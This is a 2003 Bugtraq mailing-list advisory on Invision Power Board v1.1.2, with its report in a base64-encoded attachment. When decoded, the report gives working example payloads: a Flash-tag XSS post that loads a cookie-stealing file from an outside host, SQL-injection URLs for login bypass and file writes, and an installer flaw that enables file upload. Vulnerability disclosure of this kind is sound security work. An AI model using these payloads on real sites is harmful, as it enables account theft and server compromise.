[30702] in bugtraq
Invision Power Board v1.1.2
daemon@ATHENA.MIT.EDU (Martin Eiszner)
Fri Jul 11 15:41:34 2003
Date: Fri, 11 Jul 2003 21:00:02 +0200
From: Martin Eiszner <martin@websec.org>
To: bugtraq@securityfocus.com
Message-Id: <20030711210002.050ec827.martin@websec.org>
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="Multipart_Fri__11_Jul_2003_21:00:02_+0200_0821f8f8"
--Multipart_Fri__11_Jul_2003_21:00:02_+0200_0821f8f8
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
hola,
Invision Power Board v1.1.2 (XSS,SQL-INJECTION,OS_COMMAND-EXECUTION)
report (invision.txt) attached,
mEi
--
WebSec.org / Martin Eiszner
Gurkgasse 49/Top14
1140 Vienna
Austria / EUROPE
mei@websec.org
http://www.websec.org
tel: 0043 699 121772 37
--Multipart_Fri__11_Jul_2003_21:00:02_+0200_0821f8f8
Content-Type: application/octet-stream;
name="invision.txt"
Content-Disposition: attachment;
filename="invision.txt"
Content-Transfer-Encoding: base64
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KU2VjdXJpdHkgUkVQ
T1JUIEludmlzaW9uIFBvd2VyIEJvYXJkIHYxLjEuMgo9PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09CgpQcm9kdWN0OglQb3dlciBCb2FyZCB2MS4xLjIgKG1heWJlIGVh
cmxpZXIgVmVyc2lvbnMpClZ1bG5lcmFibGl0aWVzOgljcm9zcyBzaXRlIHNjcmlwdGluZywgc3Fs
LWluamVjdGlvbiwgaW5zdGFsbC0gYW5kIGFkbWluLWlzc3Vlcywgb3MtY29tbWFuZCBleGVjdXRp
b24KVnVsbi4tQ2xhc3NlczoJQ2hlY2sgb3V0IGh0dHA6Ly93d3cub3dhc3Aub3JnL2FzYWMvIGZv
ciBtb3JlIGRldGFpbGVkIGluZm9ybWF0aW9uIG9uICJBdHRhY2sgQ29tcG9uZW50cyIKVmVuZG9y
OgkJaHR0cDovL3d3dy5pbnZpc2lvbmJvYXJkLmNvbS8KVmVuZG9yLVN0YXR1czoJY29udGFjdGVk
ICJpbmZvQGludmlzaW9ucG93ZXIuY29tIiBvbiBKdWwuMTF0aCAyMDAzIApWZW5kb3ItUGF0Y2hz
OglodHRwOi8vd3d3LmludmlzaW9uYm9hcmQuY29tL2Rvd25sb2Fkcy9jaGF0LnppcAoKRXhwbG9p
dGFibGU6CkxvY2FsOgkJLS0tClJlbW90ZToJCVlFUwoKPT09PT09PT09PT09CkludHJvZHVjdGlv
bgo9PT09PT09PT09PT0KClZpc2l0ICJodHRwOi8vd3d3LmludmlzaW9uYm9hcmQuY29tLyIgZm9y
IGFkZGl0aW9uYWwgaW5mb3JtYXRpb24uCgo9PT09PT09PT09PT09PT09PT09PT0KVnVsbmVyYWJp
bGl0eSBEZXRhaWxzCj09PT09PT09PT09PT09PT09PT09PQoKCjEpIENST1NTLVNJVEUtU0NSSVBU
SU5HCj09PT09PT09PT09PT09PT09PT09PT09CgpPQkpFQ1Q6ClBvc3QucGhwICAgCgpERVNDUklQ
VElPTjoKYnkgdXNpbmcgW0ZMQVNIPWgsd11bL0ZMQVNIXS10YWdzIHdpdGhpbiBhIHBvc3Rpbmco
UG9zdC10ZXh0YXJlYSkgaXQgaXMgcG9zc2libGUgdG8gZXhlY3V0ZSAKYXJiaXRyYXJ5IGNsaWVu
dC1zY3JpcHRzIC4uLiB0aHVzIGxlYWRpbmcgdG8gY29va2llLXRoZWZ0LgoKdGhlIHVzYWdlIG9m
IGZsYXNoIHRhZ3MgaXMgYWxsb3dlZCBwZXIgZGVmYXVsdCBpbiAiY29uZl9nbG9iYWwucGhwIjoK
LS0tKi0tLQokSU5GT1snYWxsb3dfZmxhc2gnXSA9ICcxJzsKLS0tKi0tLQoKRVhBTVBMRS1Db250
ZW50OgotLS0qLS0tCmhleSBkdWRlLCB3aGF0cyB1cD8KW0ZMQVNIPTIsMl1odHRwOi8vYW5vdGhl
cmhvc3QuZXh0L2Nvb2tpZS10aGllZi5zd2ZbL0ZMQVNIXQpjdSwKam9ubmllCi0tLSotLS0KCjIp
IFNRTC1JTkpFQ1RJT04KPT09PT09PT09PT09PT09PQoKT0JKRUNUOgppcGNoYXQucGhwCgpERVND
UklQVElPTjoKZGVwZW5kaW5nIG9uIG15c3FsLXZlcnNpb24gYW5kL29yIGRyaXZlcnMgaXQgaXMg
cG9zc2libGUgdG8gY2hhbmdlIHRoZSByZXN1bHQgb2Ygc3FsLXF1ZXJpZXMuCgoKRVhBTVBMRSht
eVNxbCA+IDQpOgotLS0qLS0tCmh0dHA6Ly9sb2NhbGhvc3QvaWJvL2lwY2hhdC5waHA/cGFzc3dv
cmQ9MSZ1c2VybmFtZT05eCUyNTI3K3VuaW9uK3NlbGVjdCslMjUyNzElMjUyNywlMjUyN2M0Y2E0
MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliJTI1MjcsJTI1MjdhZG1pbiUyNTI3LDElMjUyZior
Ci0tLSotLS0KCkVYQU1QTEUod2l0aCBmaWxlLXBlcm1pc3Npb24gc2V0KToKLS0tKi0tLQpodHRw
Oi8vbG9jYWxob3N0L2liby9pcGNoYXQucGhwP3Bhc3N3b3JkPTEmdXNlcm5hbWU9YWRtaW4lMjUy
N2ludG8rb3V0ZmlsZSslMjUyN1tmdWxscGF0aF0lMjUyNy0tKwotLS0qLS0tCgozKSBJTlNUQUxM
RVItLCBBRE1JTi1JU1NVRVMKPT09PT09PT09PT09PT09PT09PT09PT09PT09CgppZiBmb3Igc29t
ZSByZWFzb24ocGVybWlzc2lvbnMsIGRpcmVjdG9yeS1tb3ZpbmcpIHRoZSBpbnN0YWxsZXItbG9j
a2ZpbGUoaW5zdGFsbC5sb2NrKSBpcyBtaXNzaW5nLCBhbnkgdXNlciBjYW4gdXNlIHRoZSAic21f
aW5zdGFsbC5waHAiIC0gc2NyaXB0LiAKCm9uY2UgYWRtaW5pc3RyYXRvciAuLiBvbmUgaXMgYWJs
ZSB0bzoKIApBKSBleGVjdXRlIGFyYml0cmFyeSBTUUwtUVVFUklFUyB0aHJ1ICJhZG1pbi5waHAv
YWN0PW15c3FsL2NvZGU9cnVuc3FsL3F1ZXJ5PXNxIgpCKSB1cGxvYWQgYXJiaXRyYXJ5IGZpbGVz
KGluY2x1ZGluZyBwcm9ncmFtbXMgYW5kIHNjcmlwdHMpIGludG8gdGhlICJlbW90aWNvbnMiIGRp
cmVjdG9yeS4KCi4uIHRodXMgbGVhZGluZyB0byBhICJ0b3RhbCIgY29tcHJvbWlzZSBvZiB0aGUg
aHR0cC1zZXJ2ZXJzIGFjY291bnQuCgoKPT09PT09PQpSZW1hcmtzCj09PT09PT0KCi0tLQoKPT09
PT09PT09PT09PT09PT09PT0KUmVjb21tZW5kZWQgSG90Zml4ZXMKPT09PT09PT09PT09PT09PT09
PT0KCmRpc2FsbG93IGZsYXNoIGluICJjb25mX2dsb2JhbC5waHAiLgpjaGVjayBmb3IgaW5zdGFs
bGVyLWxvY2tmaWxlLgoKc29mdHdhcmUgcGF0Y2goZXMpLgoKCkVPRiBNYXJ0aW4gRWlzem5lciAv
IEAyMDAzV2ViU2VjLm9yZwoKCj09PT09PT0KQ29udGFjdAo9PT09PT09CgpXZWJTZWMub3JnIC8g
TWFydGluIEVpc3puZXIKR3Vya2dhc3NlIDQ5L1RvcDE0CjExNDAgVmllbm5hCgpBdXN0cmlhIC8g
RVVST1BFCgptZWlAd2Vic2VjLm9yZwpodHRwOi8vd3d3LndlYnNlYy5vcmcK
--Multipart_Fri__11_Jul_2003_21:00:02_+0200_0821f8f8--
